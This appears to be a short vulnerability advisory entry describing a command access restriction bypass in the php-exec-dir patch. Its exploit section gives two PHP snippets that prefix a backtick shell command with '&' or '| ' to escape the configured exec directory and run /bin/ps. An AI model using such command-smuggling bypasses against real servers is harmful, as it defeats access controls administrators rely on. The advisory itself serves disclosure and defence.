• info
• discussion
• exploit
• solution
• references

php-exec-dir Patch Command Access Restriction Bypass Vulnerability

No exploit is required to leverage this issue. The following examples are available:
<?php
$blah = `& /bin/ps aux`;
echo nl2br($blah);
?>

<?php
$blah = `| /bin/ps aux`;
echo nl2br($blah);
?>
^The space character is required after the pipe character.